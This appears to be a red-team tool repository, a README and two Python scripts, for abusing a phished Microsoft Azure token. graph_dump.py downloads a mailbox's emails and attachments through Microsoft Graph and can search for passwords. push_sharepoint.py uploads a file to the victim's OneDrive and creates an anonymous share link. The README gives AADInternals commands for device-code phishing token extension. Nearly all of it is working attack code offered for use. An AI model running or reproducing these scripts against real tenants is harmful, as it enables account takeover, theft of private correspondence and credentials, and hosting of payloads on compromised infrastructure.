├── README.md ├── push_sharepoint.py └── graph_dump.py /README.md: -------------------------------------------------------------------------------- 1 | # MsGraphFunzy 2 | Script to dump emails through Microsoft Graph API. it also include another script to push a file on the Azure tenant. 3 | 4 | # Usage graph_dump.py 5 | 6 | This script dump emails and attachments 7 | 8 | ``` 9 | python3 graph_dump.py extended_azure_token_file_path (optional filter) 10 | ``` 11 | # Filter examples 12 | 13 | ``` 14 | body:password 15 | subject:password 16 | attachment:password 17 | 18 | python3 graph_dump.py extended_azure_token_file_path body:password 19 | ``` 20 | 21 | # Usage push_sharepoint.py 22 | 23 | This script can be used to host on file on an Azure tenant 24 | 25 | ``` 26 | python3 extract_email.py extended_azure_token_file_path file_to_upload_path remote_filename (optional -organization) 27 | ``` 28 | 29 | # Device code phishing extended scope 30 | 31 | ``` 32 | PS> install-module aadinternals 33 | PS> import-module aadinternals 34 | PS> $t = Get-AADIntAccessTokenWithRefreshToken -clientid "d3590ed6-52b3-4102-aeff-aad2292ab01c" -resource "https://graph.microsoft.com" -tenantid "" -refreshtoken "" -savetocache 1 -includerefreshtoken 1 35 | PS> Write-Output $t 36 | ``` 37 | 38 | # Credit 39 | Mr.Un1k0d3r RingZer0 Team 40 | -------------------------------------------------------------------------------- /push_sharepoint.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import json 4 | import time 5 | import base64 6 | import urllib.request 7 | from pathlib import Path 8 | 9 | def put_request(url, token, data, json_decode = True): 10 | headers = {"Authorization": "Bearer %s" % token, "Content-Type": "application/octet-stream"} 11 | req = urllib.request.Request(url, headers=headers, method="PUT", data=data) 12 | data = urllib.request.urlopen(req).read() 13 | if json_decode: 14 | return json.loads(data) 15 | return data 16 | 17 | def post_request(url, token, data, json_decode = True): 18 | headers = {"Authorization": "Bearer %s" % token, "Content-Type": "application/json"} 19 | req = urllib.request.Request(url, headers=headers, method="POST", data=data) 20 | data = urllib.request.urlopen(req).read() 21 | if json_decode: 22 | return json.loads(data) 23 | return data 24 | 25 | if len(sys.argv) < 4: 26 | print("Missing arguments: %s azure_token_file file_to_upload remote_filename" % sys.argv[0]) 27 | exit() 28 | 29 | put_url = "https://graph.microsoft.com/v1.0/me/drive/root:/%s:/content" % sys.argv[3] 30 | 31 | 32 | print("*** WARNING IF THE FILE IS BIGGER THAN 4 Mb it will fail\r\n") 33 | print("Pushing to the following URL: %s" % put_url) 34 | 35 | jwt = Path(sys.argv[1]).read_text().strip() 36 | data = open(sys.argv[2], "rb").read() 37 | 38 | 39 | data = put_request(put_url, jwt, data) 40 | 41 | 42 | print("webUrl: %s" % data["webUrl"]) 43 | print("ID: %s" % data["id"]) 44 | print("Making it shareable...") 45 | 46 | share_url = "https://graph.microsoft.com/v1.0/me/drive/items/%s/createLink" % data["id"] 47 | 48 | permission = b'{"type": "view", "scope": "anonymous"}' 49 | if "-organization" in sys.argv: 50 | permission = b'{"type": "view", "scope": "organization"}' 51 | 52 | data = post_request(share_url, jwt, permission) 53 | 54 | print("Shareable link is: %s" % data["link"]["webUrl"]) 55 | print("Process completed") 56 | -------------------------------------------------------------------------------- /graph_dump.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import json 4 | import time 5 | import base64 6 | import urllib.request 7 | from pathlib import Path 8 | 9 | def send_request(url, jwt, json_decode = True): 10 | headers = {"Authorization": "bearer %s" % jwt} 11 | req = urllib.request.Request(url, headers=headers) 12 | data = urllib.request.urlopen(req).read() 13 | if json_decode: 14 | return json.loads(data) 15 | return data 16 | 17 | def process_data(data, jwt, path): 18 | for email in data["value"]: 19 | try: 20 | fd = open(os.path.join(path, "report.html"), "a+") 21 | fd.write("

") 22 | fd.write("ID: %s
" % email["id"]) 23 | fd.write("Received Date: %s
" % email["receivedDateTime"]) 24 | fd.write("Has Attachments: %s
" % email["hasAttachments"]) 25 | if email["hasAttachments"]: 26 | filename = fetch_attachment(email["id"], jwt, path) 27 | fd.write('Attachment URL: %s
' % (filename, filename)) 28 | fd.write("From: %s %s
" % (email["from"]["emailAddress"]["name"], email["from"]["emailAddress"]["address"])) 29 | fd.write("Subject: %s
" % email["subject"]) 30 | fd.write("Body: %s
" % email["body"]["content"]) 31 | fd.close() 32 | except Exception as e: 33 | print("Something when wrong: %s" % e) 34 | 35 | def fetch_attachment(email_id, jwt, path): 36 | url = "https://graph.microsoft.com/v1.0/me/messages/%s/$value" % email_id 37 | print("Fetching attachment url: %s" % url) 38 | data = send_request(url, jwt, False) 39 | filename, data = parse_data(data) 40 | filename = "%s-%s" % (email_id[:32], filename) 41 | open(os.path.join(path, filename), "wb+").write(data) 42 | return filename 43 | 44 | def parse_data(data): 45 | filter = 'Content-Disposition: attachment; filename="' 46 | data = data.decode() 47 | position = data.find(filter) + len(filter) 48 | data = data[position:] 49 | filename = data[:data.find('"')] 50 | 51 | data = data[data.find("\r\n\r\n") + 4:] 52 | data = data[:data.find("\r\n\r\n")].strip().replace("\r", "").replace("\n", "") 53 | 54 | try: 55 | data = base64.b64decode(data) 56 | except Exception as e: 57 | print("Base64 failed on attachment: %s" % e) 58 | 59 | return [filename, data] 60 | 61 | filter = "" 62 | iterator = 1 63 | if len(sys.argv) > 2: 64 | filter = '?$search="%s"' % sys.argv[2] 65 | 66 | url = "https://graph.microsoft.com/v1.0/me/messages%s" % filter 67 | 68 | jwt = Path(sys.argv[1]).read_text().strip() 69 | 70 | path = str(int(time.time())) 71 | os.mkdir(path) 72 | 73 | print("Report path: %s" % os.path.join(path, "report.html")) 74 | print("Fetching URL: %s" % url) 75 | 76 | data = send_request(url, jwt) 77 | process_data(data, jwt, path) 78 | print("Page %d completed" % iterator) 79 | 80 | while "@odata.nextLink" in data: 81 | print("Page %d completed" % iterator) 82 | data = send_request(data["@odata.nextLink"], jwt) 83 | process_data(data, jwt, path) 84 | iterator += 1 85 | 86 | print("Process completed") 87 | --------------------------------------------------------------------------------